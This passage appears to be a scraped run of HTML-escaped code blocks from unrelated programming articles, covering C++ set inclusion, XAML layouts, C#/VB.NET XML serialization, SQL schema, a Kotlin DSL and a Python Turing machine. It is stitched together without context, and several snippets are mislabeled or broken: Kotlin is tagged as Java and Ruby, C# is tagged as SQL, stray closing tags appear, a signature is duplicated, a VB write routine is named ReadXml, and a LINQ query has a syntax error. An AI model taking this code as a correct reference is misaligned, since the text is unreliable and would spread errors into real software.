              &lt;&lt; std::includes(v1.begin(), v1.end(), v5.begin(), v5.end()) &lt;&lt; '\n';

    auto cmp_nocase = [](char a, char b) {
        return std::tolower(a) &lt; std::tolower(b);
    };

    std::vector&lt;char&gt; v6{ 'A', 'B', 'C' };
    for (auto i : v6) std::cout &lt;&lt; i &lt;&lt; ' ';
    std::cout &lt;&lt; ": (case-insensitive) "
        &lt;&lt; std::includes(v1.begin(), v1.end(), v6.begin(), v6.end(), cmp_nocase)
        &lt;&lt; '\n';
}
</pre>


<pre lang="C++">
void is_superset_example()
{
    std::vector&lt;char&gt; v1{ 'a', 'b', 'c', 'f', 'h', 'x' };
    std::vector&lt;char&gt; v2{ 'a', 'b', 'c' };
    std::vector&lt;char&gt; v3{ 'a', 'c' };
    std::vector&lt;char&gt; v4{ 'g' };
    std::vector&lt;char&gt; v5{ 'a', 'c', 'g' };

    for (auto i : v1) std::cout &lt;&lt; i &lt;&lt; ' ';
    std::cout &lt;&lt; "\nincludes:\n" &lt;&lt; std::boolalpha;

    for (auto i : v2) std::cout &lt;&lt; i &lt;&lt; ' ';
    std::cout &lt;&lt; ": " &lt;&lt; (s(v1) &gt;= s(v2)) &lt;&lt; '\n';
    for (auto i : v3) std::cout &lt;&lt; i &lt;&lt; ' ';
    std::cout &lt;&lt; ": " &lt;&lt; (s(v1) &gt;= s(v3)) &lt;&lt; '\n';
    for (auto i : v4) std::cout &lt;&lt; i &lt;&lt; ' ';
    std::cout &lt;&lt; ": " &lt;&lt; (s(v1) &gt;= s(v4)) &lt;&lt; '\n';
    for (auto i : v5) std::cout &lt;&lt; i &lt;&lt; ' ';
    std::cout &lt;&lt; ": " &lt;&lt; (s(v1) &gt;= s(v5)) &lt;&lt; '\n';

    auto cmp_nocase = [](char a, char b) {
        return std::tolower(a) &lt; std::tolower(b);
    };

    std::vector&lt;char&gt; v6{ 'A', 'B', 'C' };
    for (auto i : v6) std::cout &lt;&lt; i &lt;&lt; ' ';
    std::cout &lt;&lt; ": (case-insensitive) "
        &lt;&lt; std::includes(v1.begin(), v1.end(), v6.begin(), v6.end(), cmp_nocase)
        &lt;&lt; '\n';
}
</pre>


<pre lang="C++">
// Returns true if left is superset of right?
template&lt;typename T&gt;
bool operator&gt;=(wrapper&lt;T&gt;&amp; left, wrapper&lt;T&gt;&amp; right)
{
    T&amp; c1 = left.cont;
    T&amp; c2 = right.cont;

    if (!std::is_sorted(c1.begin(), c1.end()))
        std::sort(c1.begin(), c1.end());
    if (!std::is_sorted(c2.begin(), c2.end()))
        std::sort(c2.begin(), c2.end());

    return std::includes(
        c1.begin(), c1.end(),
        c2.begin(), c2.end());
}

// Returns true if left is subset of right?
template&lt;typename T&gt;
bool operator&lt;=(wrapper&lt;T&gt;&amp; left, wrapper&lt;T&gt;&amp; right)
{
    T&amp; c1 = left.cont;
    T&amp; c2 = right.cont;

    if (!std::is_sorted(c1.begin(), c1.end()))
        std::sort(c1.begin(), c1.end());
    if (!std::is_sorted(c2.begin(), c2.end()))
        std::sort(c2.begin(), c2.end());

    return std::includes(
        c2.begin(), c2.end(),
        c1.begin(), c1.end());
}
</pre>


<pre lang="XML">
&lt;Page.BottomAppBar&gt;
  &lt;CommandBar&gt;
     &lt;AppBarButton Icon="Like" Label="Like" /&gt;
     &lt;AppBarButton Icon="Message" Label="Message" /&gt;
     &lt;AppBarButton Icon="OpenFile" Label="Open File" /&gt;
     &lt;AppBarToggleButton Icon="Accept" Label="Accept" /&gt;
  &lt;/CommandBar&gt;
&lt;/Page.BottomAppBar&gt;

</pre>


<pre lang="XML">
&lt;AppBarButton Icon="OpenFile" Label="Open File" &gt;
  &lt;FlyoutBase.AttachedFlyout&gt;
     &lt;Flyout&gt;
        &lt;TextBlock Text="This is some text in a flyout."  /&gt;
     &lt;/Flyout&gt;        
  &lt;/FlyoutBase.AttachedFlyout&gt;
&lt;/AppBarButton&gt;</pre>


<pre lang="XML">
       &lt;StackPanel&gt;
       &lt;Slider x:Name="rectSizeSlider" Header="RectangleSize" Minimum="1"
               Maximum="100"
               Value="20" Width="200" /&gt;

       &lt;Rectangle x:Name="DarkBlueRect" Fill="DarkBlue" Width="10" Height="10"/&gt;
       &lt;/StackPanel&gt;</pre>


<pre lang="XML">
&lt;Grid.RowDefinitions&gt;
  &lt;RowDefinition Height="*"/&gt;
  &lt;RowDefinition Height="*"/&gt;
&lt;/Grid.RowDefinitions&gt;

&lt;Grid.ColumnDefinitions&gt;
  &lt;ColumnDefinition Width="*"/&gt;
  &lt;ColumnDefinition Width="*"/&gt;
&lt;/Grid.ColumnDefinitions&gt;</pre>


<pre lang="XML">
&lt;StackPanel&gt;
  &lt;ToggleSwitch Header="ToggleSwitch" HorizontalAlignment="Stretch"
      VerticalAlignment="Stretch"/&gt;
         &lt;ToggleButton Content="ToggleButton" HorizontalAlignment="Stretch"
            VerticalAlignment="Stretch"/&gt;
         &lt;TextBox TextWrapping="Wrap" Text="TextBox"/&gt;
         &lt;PasswordBox  /&gt;
         &lt;TextBox TextWrapping="Wrap" Text="TextBox"/&gt;
   &lt;/StackPanel&gt;</pre>


<pre lang="XML">
&lt;StackPanel&gt;
  &lt;ToggleSwitch Header="Contact Me" HorizontalAlignment="Stretch"
     VerticalAlignment="Stretch"/&gt;
  &lt;ToggleButton Content="Alert Me" HorizontalAlignment="Stretch"
     VerticalAlignment="Stretch"/&gt;
  &lt;TextBox Header="First name:" TextWrapping="Wrap" Text="TextBox"/&gt;
  &lt;PasswordBox Header="Password:" /&gt;
  &lt;TextBox Header="Last name:" TextWrapping="Wrap" Text="TextBox"/&gt;
&lt;/StackPanel&gt;</pre>


<pre lang="XML">
       &lt;Border BorderBrush="Green" BorderThickness="5" Grid.Row="0" Grid.Column="1"&gt;
           &lt;ScrollViewer&gt;
               &lt;StackPanel&gt;
              

               &lt;/StackPanel&gt;
           &lt;/ScrollViewer&gt;
       &lt;/Border&gt;</pre>


<pre lang="XML">
&lt;Border BorderBrush="Green" BorderThickness="5" Grid.Row="0" Grid.Column="1"&gt;
           &lt;ScrollViewer&gt;
               &lt;StackPanel&gt;
                   &lt;ComboBox x:Name="PriceComboBox" Header="Price" Width="150"
                             HorizontalAlignment="Left"  VerticalAlignment="Top"
                             Margin="20" SelectionChanged="ComboBox_SelectionChanged"&gt;

                       &lt;x:String&gt;4.39&lt;/x:String&gt;
                       &lt;x:String&gt;5.68&lt;/x:String&gt;
                       &lt;x:String&gt;7.02&lt;/x:String&gt;
                   &lt;/ComboBox&gt;
                   &lt;StackPanel &gt;
                       &lt;CheckBox x:Name="AddFeeCheckBox"  Margin="20 3 3 3" 
                            Content="Add Fee ($5.00)" Click="AddFeeCheckBox_Click" /&gt;
                       &lt;CheckBox x:Name="AddTaxesCheckBox" Margin="20 3 3 3" 
                           Content="Include Taxes (x 7.5%)" Click="AddTaxesCheckBox_Click" /&gt;
                   &lt;/StackPanel&gt;

                   &lt;StackPanel&gt;
                       &lt;RadioButton x:Name="AlignLeftRadio" IsChecked="True" 
                           Content="Align Left" Margin="20 3 3 3" Checked="RadioButton_Checked"/&gt;
                       &lt;RadioButton x:Name="AlignCenterRadio" 
                           Content="Align Center" Margin="20 3 3 3" Checked="RadioButton_Checked"/&gt;
                       &lt;RadioButton x:Name="AlignRightRadio" 
                           Content="Align Right" Margin="20 3 3 3" Checked="RadioButton_Checked"/&gt;
                   &lt;/StackPanel&gt;

                   &lt;StackPanel&gt;
                       &lt;TextBox x:Name="FinalCostTextBox" PlaceholderText="final cost" 
                            HorizontalAlignment="Left"  Width="250"/&gt;
                   &lt;/StackPanel&gt;
               &lt;/StackPanel&gt;
           &lt;/ScrollViewer&gt;
       &lt;/Border&gt;

</pre>



<pre lang="XML">
&lt;ItemsControl ItemsSource="{Binding ScrollBarVm1.DisplayFiles}"&gt;
    &lt;ItemsControl.ItemsPanel&gt;
        &lt;ItemsPanelTemplate&gt;
            &lt;UniformGrid  Columns="{Binding ScrollBarVm1.NGridX}" Rows="{Binding ScrollBarVm1.NGridY}"/&gt;
        &lt;/ItemsPanelTemplate&gt;
    &lt;/ItemsControl.ItemsPanel&gt;
 
    &lt;ItemsControl.ItemTemplate&gt;
        &lt;DataTemplate&gt;
            &lt;Image Source="{Binding Image}" Stretch="Uniform" HorizontalAlignment="Center"&gt;
                &lt;Image.ToolTip&gt;
                     &lt;StackPanel Orientation="Vertical"&gt;
                        &lt;Image Source="{Binding Image}"  
                        Stretch="Uniform" Height="600"/&gt;
                        &lt;TextBlock Text="{Binding Comment}" /&gt;
                    &lt;/StackPanel&gt;
                &lt;/Image.ToolTip&gt;
            &lt;/Image&gt;
        &lt;/DataTemplate&gt;
    &lt;/ItemsControl.ItemTemplate&gt;
&lt;/ItemsControl&gt;</pre>


<pre lang="C#">
public static void WriteXmlToFile(string filename, ISolutionModel rootModel)
{
  XmlWriter xmlWriter = null;
  try
  {
    var fileStream = new FileStream(filename, FileMode.Create);
    xmlWriter = XmlWriter.Create(fileStream, new XmlWriterSettings
    {
        Indent = true,
        IndentChars = "  ",
        CloseOutput = true
    });

    var dataContractSerializer = new DataContractSerializer(typeof(SolutionModel));
    dataContractSerializer.WriteObject(xmlWriter, rootModel);
  }
  finally
  {
    if (xmlWriter != null)
        xmlWriter.Close();
  }
}
</pre>


<pre lang="SQL">
CREATE DATABASE [Sample] ON  PRIMARY
( NAME = N'Sample_dat', FILENAME = N'D:\Sample\Sample.mdf' , SIZE = 13760KB , MAXSIZE = UNLIMITED, 
FILEGROWTH = 10%)
 LOG ON
( NAME = N'Sample_log', FILENAME = N'D:\Sample\Sample.ldf' , SIZE = 9216KB , MAXSIZE = UNLIMITED, 
FILEGROWTH = 10%)
GO</pre>


<pre lang="Java">
schedule {
    data {
        startFrom("08:00")
        subjects("Russian",
                "Literature",
                "Algebra",
                "Geometry")
        student {
            name = "Ivanov"
            subjectIndexes(0, 2)
        }
        student {
            name = "Petrov"
            subjectIndexes(1, 3)
        }
        teacher {
           subjectIndexes(0, 1)
           availability {
             monday("08:00")
             wednesday("09:00", "16:00")
           } 
        }
        teacher {
            subjectIndexes(2, 3)
            availability {
                thursday("08:00") + sameDay("11:00") + sameDay("14:00")
            }
        }
        // data { } won't be compiled here because there is scope control with
        // @DataContextMarker
    } assertions {
        for ((day, lesson, student, teacher) in scheduledEvents) {
            val teacherSchedule: Schedule = teacher.schedule
            teacherSchedule[day, lesson] shouldNotEqual null
            teacherSchedule[day, lesson]!!.student shouldEqual student
            val studentSchedule = student.schedule
            studentSchedule[day, lesson] shouldNotEqual null
            studentSchedule[day, lesson]!!.teacher shouldEqual teacher
        }
    }
}
</pre>


<pre lang="SQL">
            using (var rep = new Repository())
            {
               ISqlQueriable&lt;User&gt; users = rep.Get&lt;User&gt;().Where(x =&gt;
               (x.Role.Name.EndsWith("SuperAdmin") &amp;&amp;
                x.UserName.Contains("alen")) ||
                x.Address.Any(a =&gt; (a.AddressName.StartsWith("st") ||
                a.AddressName.Contains("mt"))).
                Skip(20).Take(100).Execute();  
                );
                
                List&lt;User&gt; userList = users.Execute();
                var sql = users.ParsedLinqToSql;
            }
            
            // And here is the generated SQL Query
             SELECT distinct Users.* FROM Users 
             left join [Roles] CEjB on CEjB.[Id] = Users.[Role_Id]
             WHERE (([CEjB].[Name] like String[%SuperAdmin] 
             AND [Users].[UserName] like String[%alen%]) 
             OR  EXISTS (SELECT 1 FROM [Address] 
             INNER JOIN [Address] MJRhcYK on Users.[Id] = MJRhcYK.[User_Id]
             WHERE (([Address].[AddressName] like String[st%] OR 
             [Address].[AddressName] like String[%mt%]))))
             ORDER BY Id
             OFFSET 20
             ROWS FETCH NEXT 100 ROWS ONLY;
             // All String[] and Date[] will be translated to Parameters later on.  </pre>


<pre lang="Python">
def _log_process(self, step):
    print('\nTape after step {0}: '.format(step))
    print('[', end='')

    for i in range(0, self.tape.get_length()):
        if self.tape.head_position == i:
            print("\033[4m" + self.tape._tape[i] + "\033[0m", end='')
        else:
            print(self.tape._tape[i], end='')

    print(']')</pre>


<pre lang="Python">
tape = Tape('|||', '|')
states = [
            State("s0", StateType.Start),
            State("s1", StateType.Empty),
            State("s2", StateType.Empty),
            State("sf", StateType.Final)
         ]

transitions = [
                 Transition("s0", "$", "s1", "$", Direction.Right),
                 Transition("s1", "|", "s1", "|", Direction.Right),
                 Transition("s1", "#", "s2", "#", Direction.Left),
                 Transition("s2", "$", "sf", "$", Direction.Neutral),
                 Transition("s2", "|", "sf", "#", Direction.Neutral)
              ]

tm = TuringMachine(states, transitions, tape)
tm.process(True)</pre>


<pre lang="Python">
tape = Tape('|||&amp;||', '|&amp;')
states = [
            State("s0", StateType.Start),
            State("s1", StateType.Empty),
            State("s2", StateType.Empty),
            State("s3", StateType.Empty),
            State("s4", StateType.Empty),
            State("sf", StateType.Final)
         ]

transitions = [
                 Transition("s0", "$", "s1", "$", Direction.Right),
                 Transition("s1", "#", "sf", "#", Direction.Neutral),
                 Transition("s1", "|", "s1", "|", Direction.Right),
                 Transition("s1", "&amp;", "s2", "|", Direction.Right),
                 Transition("s2", "|", "s2", "|", Direction.Right),
                 Transition("s2", "#", "s3", "#", Direction.Left),
                 Transition("s3", "|", "s4", "#", Direction.Left),
                 Transition("s4", "|", "s4", "|", Direction.Left),
                 Transition("s4", "$", "sf", "$", Direction.Neutral),
              ]

tm = TuringMachine(states, transitions, tape)
tm.process(True)</pre>


<pre lang="Python">
tape = Tape('|||#||', '|&amp;')
states = [
            State("s0", StateType.Start),
            State("s1", StateType.Empty),
            State("s2", StateType.Empty),
            State("s3", StateType.Empty),
            State("s4", StateType.Empty),
            State("s5", StateType.Empty),
            State("s6", StateType.Empty),
            State("s7", StateType.Empty),
            State("s8", StateType.Empty),
            State("sf", StateType.Final)
         ]

transitions = [
                 Transition("s0", "$", "s0", "$", Direction.Right),
                 Transition("s0", "#", "sf", "#", Direction.Neutral),
                 Transition("s0", "|", "s1", "|", Direction.Right),
                 Transition("s1", "|", "s1", "|", Direction.Right),
                 Transition("s1", "#", "s2", "#", Direction.Right),
                 Transition("s2", "#", "s2", "#", Direction.Right),
                 Transition("s2", "|", "s3", "|", Direction.Right),
                 Transition("s3", "|", "s4", "|", Direction.Left),
                 Transition("s3", "#", "s6", "#", Direction.Left),
                 Transition("s4", "|", "s5", "#", Direction.Left),
                 Transition("s5", "#", "s5", "#", Direction.Left),
                 Transition("s5", "|", "s2", "#", Direction.Right),
                 Transition("s5", "$", "s2", "$", Direction.Right),
                 Transition("s6", "|", "s7", "#", Direction.Left),
                 Transition("s7", "#", "s7", "#", Direction.Left),
                 Transition("s7", "$", "sf", "$", Direction.Neutral),
                 Transition("s7", "|", "s8", "#", Direction.Left),
                 Transition("s8", "|", "s8", "|", Direction.Left),
                 Transition("s8", "$", "sf", "$", Direction.Neutral)
              ]

tm = TuringMachine(states, transitions, tape)
tm.process(True)</pre>


<pre lang="CSS">
.centerScreen {
  text-align: center;
  display: block;
  position: absolute;
  z-index: 1;
  width: 100%;  
}
.title {
  top: 20%;
  color: green;
  font-size: 80px;
}
.pressSpace {
  top: 35%;
  font-size: 20px;
  color: #ffffff;
}</pre>


<pre lang="Python">
from direction import Direction

class Tape:
    def __init__(self, word, alphabet):
        self.alphabet = alphabet + "$#"        
        self.head_position = 0
        self.__init_tape(word)

    def __init_tape(self, word):
        tape = "$";
        for char in (c for c in word if c in self.alphabet):
            tape += char
        tape += "#";
        self._tape = list(tape)

    def write(self, character):
        if self.head_position &lt; 1 or character not in self.alphabet:
            return
        self._tape[self.head_position] = character

        last_item_index = len(self._tape) - 1
        if self.head_position == last_item_index:
            self._tape += '#'

    def read(self):
        if self.head_position &lt; 0 or self.head_position &gt; len(self._tape) - 1:
            raise Exception('Trying to read character at invalid position: ' + self.head_position)
        return self._tape[self.head_position]

    def get_tape(self):
        self._remove_trailing_sharps()
        return ''.join(self._tape)

    def move_head(self, direction):
        if direction == Direction.Right:
            self.head_position += 1
        elif direction == Direction.Left:
            self.head_position -= 1

        if self.head_position &gt; len(self._tape) - 1:
            self._tape += '#'
        if self.head_position &lt; 0:
            self.head_position = 0

    def get_length(self):
        return len(self._tape)

    def _remove_trailing_sharps(self):
        for i in range(len(self._tape) - 1, 1, -1):
            if self._tape[i] == '#' and self._tape[i-1] == '#':
                del self._tape[-1:]
            else:
                break</pre>


<pre lang="Python">
from state import State

class Transition:
    def __init__(self, current_state, current_char, new_state, new_char, direction):
        self.current_state = current_state
        self.current_char = current_char
        self.new_state = new_state
        self.new_char = new_char
        self.direction = direction</pre>


<pre lang="Python">
from state import StateType

class TuringMachine:
    def __init__(self, states, transitions, tape):
        self.states = states
        self.start_state = self.get_start_state()
        self.transitions = transitions
        self.tape = tape

    def get_tape(self):
        return self.tape.get_tape()

    def get_start_state(self):
        return next(state for state in self.states if state.type == StateType.Start)

    def process(self, verbose=False):
        current_state = self.start_state

        while current_state.type != StateType.Final:
            current_char = self.tape.read()
            state_id = current_state.id

            transition = next(t for t in self.transitions
                              if t.current_state == state_id
                              and t.current_char == current_char)

            current_state = next(state for state in self.states if state.id == transition.new_state)

            self.tape.write(transition.new_char)
            self.tape.move_head(transition.direction)</pre>


<pre lang="Python">
from turing_machine import TuringMachine
from state import State, StateType
from transition import Transition
from direction import Direction
from tape import Tape

tape = Tape('|||', '|')
states = [
            State("s0", StateType.Start),
            State("s1", StateType.Empty),
            State("sf", StateType.Final)
         ]

transitions = [
                 Transition("s0", "$", "s1", "$", Direction.Right),
                 Transition("s1", "|", "s1", "|", Direction.Right),
                 Transition("s1", "#", "sf", "|", Direction.Neutral)
              ]

tm = TuringMachine(states, transitions, tape)
tm.process();
print(tm.get_tape())</pre>


<pre lang="C#">
var rootModel = new ModelRoot("My Test Tree");
    rootModel.RootItems.Add(makeTree());                     // Create tree in-memory

    string result = null;
    XmlSerializer serializer = new XmlSerializer(typeof(ModelRoot));

    using (StreamWriter writer = new StreamWriter(@"data.xml"))  // Write Xml to file
////    using (var writer = new StringWriter())                  // Write Xml to string
    {
      serializer.Serialize(writer, rootModel);
      result = writer.ToString();                // Convert result to string to read below
    }
    
    ModelRoot resultTree = null;                        // Re-create tree from XML
    using (var reader = XmlReader.Create(@"data.xml")) // Read Xml Data from file
////    using (var reader = new StringReader(result)) // Read Xml Data from string
    {
      XmlSerializer deserializer = new XmlSerializer(typeof(ModelRoot));
      resultTree = (ModelRoot) deserializer.Deserialize(reader);
    }
    
    Console.WriteLine("Debug Deserialized XML for {0}", resultTree);
    var items = TreeLib.BreadthFirst.Traverse.LevelOrder(resultTree.RootItems, i =&gt; i.Children);
    foreach (var item in items)
    {
      Console.WriteLine("Level: {0} Node: '{1}'", item.Level, item.Node);
    }</pre>


<pre lang="VB.NET">
Dim rootModel = New ModelRoot("My Test Tree") ' Create tree in-memory
rootModel.RootItems.Add(makeTree())

Dim result As String = Nothing                ' Write Xml to file
Dim serializer As XmlSerializer = New XmlSerializer(GetType(ModelRoot))

Using writer As StreamWriter = New StreamWriter("data.xml")
''''    using writer = New StringWriter()                  ' Write Xml to string
    serializer.Serialize(writer, rootModel)
    result = writer.ToString() ' Convert result to string to read below
End Using

Dim resultTree As ModelRoot = Nothing        ' Re-create tree from XML
Using reader = XmlReader.Create("data.xml")  ' Read Xml Data from file
''''    using reader = New StringReader(result) ' Read Xml Data from string
    Dim deserializer As XmlSerializer = New XmlSerializer(GetType(ModelRoot))
    resultTree = CType(deserializer.Deserialize(reader), ModelRoot)
End Using

Console.WriteLine("Deserialized XML for {0}", resultTree)
Dim items = TreeLib.BreadthFirst.Traverse.LevelOrder(resultTree.RootItems, Function(i) i.Children)
For Each item In items
    Console.WriteLine("Level: {0} Node: '{1}'", item.Level, item.Node)
Next</pre>


<pre lang="C#">
public class Node
{
   private Node _Parent = null;

   public string Id      { get; set; }
   
   public List&lt;node&gt; Children  { get; set; }

   [XmlIgnore]
   public Node Parent
   {
     get
     {
       return _Parent;
     }
     
     set
     {
       if (_Parent != value)
       {
         _Parent = value;
         
         if (_Parent != null)
           ParentId = _Parent.Id;
         else
           ParentId = string.Empty;
       }
       
     }
   }

   public string ParentId      { get; set; }
}&lt;/node&gt;</pre>


<pre lang="VB.NET">
Public Class Node

    Private _Parent As Node = Nothing

    Public Property Id As String

    Public Property Children As List(Of Node)

        &lt;xmlignore&gt;
    Public Property Parent As Node
        Get
            Return _Parent
        End Get

        Set(ByVal value As Node)
            If _Parent &lt;&gt; value Then
                _Parent = value
                If _Parent IsNot Nothing Then ParentId = _Parent.Id Else ParentId = String.Empty
            End If
        End Set
    End Property

    Public Property ParentId As String
End Class&lt;/xmlignore&gt;</pre>


<pre lang="C#">
public class XmlStorage
{
  public static string WriteXmlToString&lt;t&gt;(T rootModel)
  {
    using (var writer = new StringWriter())     // Write Xml to string
    {
      XmlSerializer serializer = new XmlSerializer(typeof(T));
      serializer.Serialize(writer, rootModel);
      return writer.ToString();                // Convert result to string to read below
    }
  }

  public static void WriteXmlToFile&lt;t&gt;(string filename, T rootModel)
  {
    using (StreamWriter writer = new StreamWriter(filename))  // Write Xml to file
    {
      XmlSerializer serializer = new XmlSerializer(typeof(T));
      serializer.Serialize(writer, rootModel);
    }
  }

  public static T ReadXmlFromString&lt;t&gt;(string input)
  {
    using (var reader = new StringReader(input))   // Read Xml Data from string
    {
      XmlSerializer deserializer = new XmlSerializer(typeof(T));
      return (T) deserializer.Deserialize(reader);
    }
  }
  
  public static T ReadXmlFromFile&lt;t&gt;(string filename)
  {
    using (var reader = XmlReader.Create(filename))    // Read Xml Data from file
    {
      XmlSerializer deserializer = new XmlSerializer(typeof(T));
      return (T)deserializer.Deserialize(reader);
    }
  }
}&lt;/t&gt;&lt;/t&gt;&lt;/t&gt;&lt;/t&gt;</pre>


<pre lang="VB.NET">
Public Class XmlStorage
  ' Write Xml to String
  Public Shared Function WriteXmlToString(Of T)(ByVal rootModel As T) As String
    Using writer = New StringWriter()
      Dim serializer As XmlSerializer = New XmlSerializer(GetType(T))
      serializer.Serialize(writer, rootModel)
      Return writer.ToString()
    End Using
  End Function

  ' Write Xml to file
  Public Shared Sub WriteXmlToFile(Of T)(ByVal filename As String, ByVal rootModel As T)
    Using writer As StreamWriter = New StreamWriter(filename)
      Dim serializer As XmlSerializer = New XmlSerializer(GetType(T))
      serializer.Serialize(writer, rootModel)
    End Using
  End Sub

  ' Read Xml from String
  Public Shared Function ReadXmlFromString(Of T)(ByVal input As String) As T
    Using reader = New StringReader(input)
      Dim deserializer As XmlSerializer = New XmlSerializer(GetType(T))
      Return CType(deserializer.Deserialize(reader), T)
    End Using
  End Function

  ' Read Xml from file
  Public Shared Function ReadXmlFromFile(Of T)(ByVal filename As String) As T
    Using reader = XmlReader.Create(filename)
      Dim deserializer As XmlSerializer = New XmlSerializer(GetType(T))
      Return CType(deserializer.Deserialize(reader), T)
    End Using
  End Function
End Class</pre>


<pre lang="C#">
public void ReadXml(System.Xml.XmlReader reader) // ModelRoot class
{
  Name = reader.GetAttribute("Name");

  Version = int.Parse(reader.GetAttribute("Version"));
  MinorVersion = int.Parse(reader.GetAttribute("MinorVersion"));

  reader.ReadStartElement();
  reader.MoveToContent();
  while (reader.NodeType == System.Xml.XmlNodeType.Whitespace)
      reader.Read();

  if (reader.NodeType != System.Xml.XmlNodeType.EndElement)
  {
    reader.ReadStartElement("RootItems");

    reader.MoveToContent();
    while (reader.NodeType == System.Xml.XmlNodeType.Whitespace)
        reader.Read();

    if (reader.NodeType != System.Xml.XmlNodeType.EndElement)
    {
      <b>var nodeSer = new XmlSerializer(typeof(Node));</b>
      while (reader.NodeType != System.Xml.XmlNodeType.EndElement)
      {
        var nextNode = (Node)nodeSer.Deserialize(reader);
        _RootItems.Add(nextNode);

        while (reader.NodeType == System.Xml.XmlNodeType.Whitespace)
          reader.Read();
      }
      reader.ReadEndElement();
    }
    reader.ReadEndElement();
  }
}</pre>


<pre lang="VB.NET">
Public Sub ReadXml(ByVal reader As System.Xml.XmlReader) Implements IXmlSerializable.ReadXml

  Name = reader.GetAttribute("Name")
  Version = Integer.Parse(reader.GetAttribute("Version"))
  MinorVersion = Integer.Parse(reader.GetAttribute("MinorVersion"))

  reader.ReadStartElement()
  reader.MoveToContent()

  While reader.NodeType = System.Xml.XmlNodeType.Whitespace
      reader.Read()
  End While

  If reader.NodeType &lt;&gt; System.Xml.XmlNodeType.EndElement Then
    reader.ReadStartElement("RootItems")
    reader.MoveToContent()
    While reader.NodeType = System.Xml.XmlNodeType.Whitespace
        reader.Read()
    End While

    If reader.NodeType &lt;&gt; System.Xml.XmlNodeType.EndElement Then
      <b>Dim nodeSer = New XmlSerializer(GetType(Node))</b>

      While reader.NodeType &lt;&gt; System.Xml.XmlNodeType.EndElement
        Dim nextNode = CType(nodeSer.Deserialize(reader), Node)
        _RootItems.Add(nextNode)

        While reader.NodeType = System.Xml.XmlNodeType.Whitespace
            reader.Read()
        End While
      End While

      reader.ReadEndElement()
    End If

    reader.ReadEndElement()
  End If
End Sub</pre>


<pre lang="C#">
public void ReadXml(System.Xml.XmlReader reader)
{
...
  reader.ReadStartElement("Children");

  reader.MoveToContent();
  while (reader.NodeType == System.Xml.XmlNodeType.Whitespace)
    reader.Read();

  if (reader.NodeType != System.Xml.XmlNodeType.EndElement)
  {
    while (reader.NodeType != System.Xml.XmlNodeType.EndElement)
    {
      <b>var dataContractSerializer = new DataContractSerializer(typeof(Node));</b>
      var nextNode = (Node)dataContractSerializer.ReadObject(reader);
      _ChildItems.Add(nextNode);

      while (reader.NodeType == System.Xml.XmlNodeType.Whitespace)
          reader.Read();
    }
    reader.ReadEndElement();
  }
...
}</pre>


<pre lang="VB.NET">
Public Sub ReadXml(ByVal reader As System.Xml.XmlReader) Implements IXmlSerializable.ReadXml
...
  reader.MoveToContent()

  While reader.NodeType = System.Xml.XmlNodeType.Whitespace
      reader.Read()
  End While

  If reader.NodeType &lt;&gt; System.Xml.XmlNodeType.EndElement Then
    reader.ReadStartElement("Children")
    reader.MoveToContent()

    While reader.NodeType = System.Xml.XmlNodeType.Whitespace
        reader.Read()
    End While

    If reader.NodeType &lt;&gt; System.Xml.XmlNodeType.EndElement Then

      While reader.NodeType &lt;&gt; System.Xml.XmlNodeType.EndElement
        Dim dataContractSerializer = New DataContractSerializer(GetType(Node))
        Dim nextNode = CType(dataContractSerializer.ReadObject(reader), Node)

        _ChildItems.Add(nextNode)
        While reader.NodeType = System.Xml.XmlNodeType.Whitespace
            reader.Read()
        End While
      End While

      reader.ReadEndElement()
    End If

    reader.ReadEndElement()
...
End Sub</pre>


<pre lang="C#">
public void WriteXml(System.Xml.XmlWriter writer)
{
...
  writer.WriteStartElement("Children");
  foreach (var item in Children)
  {
    <b>var dataContractSerializer = new DataContractSerializer(typeof(Node));</b>
    dataContractSerializer.WriteObject(writer, item);
  }
writer.WriteEndElement();
...
}
</pre>


<pre lang="VB.NET">
Public Sub ReadXml(ByVal reader As System.Xml.XmlReader) Implements IXmlSerializable.ReadXml
...
writer.WriteStartElement("Children")

For Each item In Children
Dim dataContractSerializer = New DataContractSerializer(GetType(Node))
dataContractSerializer.WriteObject(writer, item)
Next

writer.WriteEndElement()
...
End Sub
</pre>


<pre lang="C#">
public static IModelRoot ReadXmlFromString&lt;t&gt;(string input
                                            , XmlSchemaSet schemas = null
                                            , ValidationEventHandler validationCallBack = null)

public static IModelRoot ReadXmlFromString&lt;t&gt;(string input
                                            , XmlSchemaSet schemas = null
                                            , ValidationEventHandler validationCallBack = null)

&lt;/t&gt;&lt;/t&gt;</pre>


<pre lang="VB.NET">
Public Shared Function ReadXmlFromFile(Of T)(ByVal filename As String,
     ByVal Optional schemas As XmlSchemaSet = Nothing,
     ByVal Optional validationCallBack As ValidationEventHandler = Nothing) As IModelRoot

Public Shared Function ReadXmlFromString(Of T)(ByVal input As String,
    ByVal Optional schemas As XmlSchemaSet = Nothing,
    ByVal Optional validationCallBack As ValidationEventHandler = Nothing) As IModelRoot</pre>


<pre lang="XML">
&lt;xsd:attributeGroup name ="ModelRootAttribs"&gt;
  &lt;xsd:attribute name="Version" default="1" type="xsd:int" /&gt;
  &lt;xsd:attribute name="MinorVersion" default="0" type="xsd:int" /&gt;
  &lt;xsd:attribute name="Name" type="xsd:string" use="required" /&gt;
  &lt;xsd:attribute name="Test" type="xsd:string" use="required" /&gt;
&lt;/xsd:attributeGroup&gt;
</pre>


<pre lang="Ruby">
val data = mapOf(1 to "one", 2 to "two")

createHTML().table {
    for ((num, string) in data) {
        tr {
           td { +"$num" }
           td { +string }
        }
    }
}</pre>


<pre lang="SQL">
CREATE TABLE [dbo].[tb_SupplierLog](

       [SupplierLogID] [int] PRIMARY KEY IDENTITY(1,1) NOT NULL,

       [Operation] [nvarchar](10) NULL,

       [SupplierID] [int] NULL,

       [SupplierName] [nvarchar](250) NULL,

       [InBusinessSince] [datetime2](7) NULL,

       [PreQualificationNumber] [nvarchar](50) NULL,

       [PreQualificationDate] [datetime] NULL,

       [PreQualificationExpiryDate] [datetime] NULL,

       [IsActive] [bit] NULL,

       [CreatedBy] [int] NULL,

       [CreatedOn] [datetime] NULL,

       [UpdatedBy] [int] NULL,

       [UpdatedOn] [datetime] NULL

)</pre>


<pre lang="SQL">
CREATE PROCEDURE [dbo].[sp_Supplier_SelectByID]
    -- Add the parameters for the stored procedure here
    @SupplierID INT
AS
BEGIN
    -- SET NOCOUNT ON added to prevent extra result sets from
    -- interfering with SELECT statements.
    SET NOCOUNT ON;

    -- Insert statements for procedure here
    SELECT    *
    FROM    [dbo].[tb_Supplier] WITH (NOLOCK)
    WHERE    SupplierID = CASE WHEN @SupplierID = -1 THEN SupplierID ELSE @SupplierID END;
    
END

GO

CREATE PROCEDURE [dbo].[sp_Supplier_Insert]
